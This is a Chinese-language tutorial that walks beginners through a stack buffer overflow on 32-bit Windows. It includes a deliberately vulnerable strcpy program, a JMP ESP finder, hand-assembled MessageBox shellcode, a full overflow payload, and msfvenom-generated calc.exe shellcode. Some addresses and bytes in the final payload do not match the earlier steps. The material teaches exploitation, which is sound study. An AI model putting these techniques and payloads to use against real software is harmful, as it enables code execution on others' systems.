零基礎帶你走進緩衝區溢位,編寫shellcode。
寫在前面的話:本人是以一個零基礎者角度來帶著大家去理解緩衝區溢位漏洞,當然如果你是開發者更好。
注:如果有轉載請註明出處!創作不易、謝謝合作。
0、環境搭建:
本次實驗所用到的工具有:
x32dbg:一個基於qt開發的、開源偵錯程式。
ghidra:美國NSA國家安全域性用的反彙編靜態分析工具。如果你對IDA熟悉也可以用IDA。(連結在國內無法訪問,怎麼訪問你懂的。)
visual C++ 6.0:一個微軟的編譯器。用其他的C++編譯器只要取消編譯優化即可。
1、一個有漏洞的小程式:
在C語言裡面的string標準庫中,有這麼一個著名的strcpy函式,這個strcpy函式的作用就是將字串陣列拷貝到指定的位置。
但是,再拷貝之前並沒有對字串的長度進行檢測!!
如果這個字串過長的話就會覆蓋相鄰的記憶體。造成緩衝區棧溢位!
我們的這個漏洞小程式如下所示:
#include "stdio.h" #include "string.h" char payload[] = "aaaaaaaa"; int main() { char buffer[8]; strcpy(buffer, payload); printf("%s",buffer); getchar(); return 0; }
功能很簡單,就是將payload中的字串拷貝進buffer陣列中,並列印出來。
注意此時buffer的大小為8.
執行結果如下。
程式完美執行,但是這個程式真的沒問題嗎?
我們接著往下看:
2、字串長了!
程式碼如下所示:
#include "stdio.h" #include "string.h" char payload[] = "aaaaaaaaEBPX"; int main() { char buffer[8]; strcpy(buffer, payload); printf("%s",buffer); getchar(); return 0; }
在這裡我們加長了payload的長度,大家可以看到,程式還是完美的執行了,。
因為筆者的電腦是Win10系統,因此係統不會給你進行報錯,而是智慧的進行了異常處理。所以我們接下來進入除錯環節!
首先我們用ghidra開啟我們剛才寫好的程式。
找到我們剛才定義函式在傳遞引數的時候如下:
不懂彙編沒事。你只要看到push 一堆東西,+call 一個東西,那就是在呼叫函式!
看到了具體的呼叫位置,我們開啟x32dbg 然後定位到該地址進行分析。
這裡我們跳到call的位置,然後用F9執行到這裡。
注意此時箭頭所指的倆個位置
上面的所指的是父函式的EBP地址。
下面所指的就是函式要返回的地址。
這時我們讓程式繼續執行。
當我們單步執行過之後,我們會發現,這個程式因為緩衝區被衝破,所以父函式EBP被覆蓋了,也就是造成了緩衝區溢位。
那麼我們需要思考,是否可以把字串加長,然後把返回地址給覆蓋了呢?答案當然是可以的。
這樣的話,程式就會執行我們的程式碼了!
但是如何把我們想執行的程式碼遞給程式執行呢?
三、JMP_ESP方法編寫shellcode
思路:我們需要尋找電腦中可利用的動態連結庫中可以用的指令,這樣的話,我們就可以執行我們想要的指令了。
但是這種指令不一定適合我們,如果沒有對應的函式怎麼辦
這時候有個非常出名的方法,叫JMP_ESP,他會執行棧中的程式碼,也就是說我們只要把shellcode放在字串內就行。
首先我們需要在電腦中尋找JMP_ESP函式!
程式碼如下:
#include <windows.h> #include <stdio.h> #include <stdlib.h> int main() { BYTE *ptr; int position; HINSTANCE handle; BOOL done_flag = FALSE; handle = LoadLibrary("user32.dll"); if(!handle) { printf("load dll error!"); exit(0); } ptr = (BYTE*)handle; for(position = 0; !done_flag; position++) { try { if(ptr[position]==0xFF && ptr[position+1]==0xE4) { int address = (int)ptr + position; printf("OPCODE found at 0x%x\n", address); } } catch(...) { int address = (int)ptr + position; printf("END OF 0x%x\n", address); done_flag = true; } } getchar(); return 0; }
執行結果如上,我們隨便挑選一個地址即可使用。
因為我們需要視覺化的效果,所以我們挑選一個彈出一個對話方塊的方法來使我們視覺化。
彈窗地址尋找的程式碼如下:
#include<windows.h> #include<stdio.h> typedef void (*MYPROC)(LPTSTR); int main(){ HINSTANCE LibHandle; MYPROC ProcAdd; LibHandle = LoadLibrary("user32"); printf("user32 = 0x%x\n",LibHandle); ProcAdd=(MYPROC)GetProcAddress(LibHandle,"MessageBoxA"); printf("MessageBoxA = 0x%x\n",ProcAdd); getchar(); return 0; }
執行結果如下:
接下來我們要尋找能使程式正常退出的函式,程式碼如下:
#include<windows.h> #include<stdio.h> typedef void (*MYPROC)(LPTSTR); int main(){ HINSTANCE LibHandle; MYPROC ProcAdd; LibHandle = LoadLibrary("kernel32"); printf("kernel32 = 0x%x\n",LibHandle); ProcAdd=(MYPROC)GetProcAddress(LibHandle,"ExitProcess"); printf("ExitProcess = 0x%x\n",ProcAdd); getchar(); return 0; }
執行結果如下:
四、使用x64dbg提取shellcode
筆者在這裡挑選三個地址為:
jmp esp: 0x74a99be9 //JMP ESP 使EIP跳轉到shellcode執行 msgbox: 0x74991f70 //shellcode執行彈出對話方塊 exitprocess:0x75cd4b80 //使程式正常退出
在這裡我是用內聯彙編的方法來編寫shellcode
程式碼如下:
#include "windows.h" int main(){ LoadLibrary("user32.dll"); //因為呼叫了user32中的函式,所以需要載入user32,之所以選擇user32載入是因為幾乎所有win32應用都會載入這個庫。 _asm{ //內聯彙編 sub esp,0x50 //為了使 shellcode 具有較強的通用性,我們通常會在 shellcode 一開始就大範圍抬高棧頂,把 shellcode“藏”在棧內,從而達到保護自身安全的目的 xor ebx,ebx //將ebx清0 push ebx //ebx入棧 push 0x2020206f push 0x6c6c6568 //push "hello" 字串的ascii碼當作標題 小端書寫 push的時候不夠的話用20填 mov eax,esp //將hello標題賦給eax push ebx //ebx壓棧 將倆個字串斷開 push 0x2020206f push 0x6c6c6568 //push "hello" 字串當作內容 mov ecx,esp //將內容賦給ecx push ebx //messagebox 的第4個引數 push eax //messagebox 的第3個引數 push ecx //messagebox的第2個引數 push ebx //messagebox的第1個引數 mov eax,0x74991f70 //msg call eax //呼叫msg push ebx //向棧內壓入0 mov eax,0x75cd4b80 //將exit函式地址賦給eax call eax//呼叫exit函式 } return 0; }
然後用x64dbg開啟後結果如下:
提取後如下:
0040103C | 83EC 50 | sub esp,50 | 0040103F | 33DB | xor ebx,ebx | 00401041 | 53 | push ebx | 00401042 | 68 6F202020 | push 2020206F | 00401047 | 68 68656C6C | push 6C6C6568 | 0040104C | 8BC4 | mov eax,esp | 0040104E | 53 | push ebx | 0040104F | 68 6F202020 | push 2020206F | 00401054 | 68 68656C6C | push 6C6C6568 | 00401059 | 8BCC | mov ecx,esp | ecx:EntryPoint 0040105B | 53 | push ebx | 0040105C | 50 | push eax | 0040105D | 51 | push ecx | ecx:EntryPoint 0040105E | 53 | push ebx | 0040105F | B8 701F9974 | mov eax,74991F70 | 00401064 | FFD0 | call eax | 00401066 | 53 | push ebx | 00401067 | B8 804BCD75 | mov eax,<kernel32.ExitProcess> | 0040106C | FFD0 | call eax |
我們去掉亂八七糟的東西后,進行整理如下:
\x33\xDB
\x53
\x68\x6F\x20\x20\x20
\x68\x68\x65\x6C\x6C
\x8B\xC4
\x53
\x68\x6F\x20\x20\x20
\x68\x68\x65\x6C\x6C
\x8B\xCC
\x53
\x50
\x51
\x53
\xB8\x70\x1F\x99\x74
\xFF\xD0
\x53
\xB8\x80\x4B\xCD\x75
\xFF\xD0
然後我們加上引號
"\xe9\xe5\xa9\x74" "\x33\xDB" "\x53" "\x68\x6F\x20\x20\x20" "\x68\x68\x65\x6C\x6C" "\x8B\xC4" "\x53" "\x68\x6F\x20\x20\x20" "\x68\x68\x65\x6C\x6C" "\x8B\xCC" "\x53" "\x50" "\x51" "\x53" "\xB8\x70\x1F\x99\x74" "\xFF\xD0" "\x53" "\xB8\x80\x4B\xCD\x75" "\xFF\xD0"
OK!大功告成!
五、程式執行結果!
完整程式程式碼如下:
#include<stdio.h> #include<windows.h> char payload[]="aaaaaaaaebxx\xe9\xe5\xa9\x74\x33\xDB\x53\x68\x6F\x20\x20\x20\x68\x68\x65\x6C\x6C\x8B\xC4\x53\x68\x6F\x20\x20\x20\x68\x68\x65\x6C\x6C\x8B\xCC\x53\x50\x51\x53\xB8\x70\x1F\x99\x74\xFF\xD0\x53\xB8\x80\x4B\xCD\x75\xFF\xD0"; int main() { LoadLibrary("user32.dll"); char buffer[8]; strcpy(buffer,payload); printf("%s",buffer); getchar(); return 0; }
執行後如下所示:
六、如何0基礎幾分鐘學會編寫shellcode?
使用msf即可。把這個程式碼記著就會了(笑)。
msfvenom -p windows/exec cmd=calc.exe -f c
體驗下~:
unsigned char buf[] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30" "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52" "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1" "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b" "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03" "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b" "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24" "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb" "\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f" "\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5" "\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a" "\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"; int main() { _asm{ lea eax,buf push eax ret } return 0; }
執行後如上所示。
PS:筆者在B站做了一次完整的視訊!如下操作均可在https://www.bilibili.com/video/av48022107
這裡看到!碼字不易!希望大家能夠喜歡!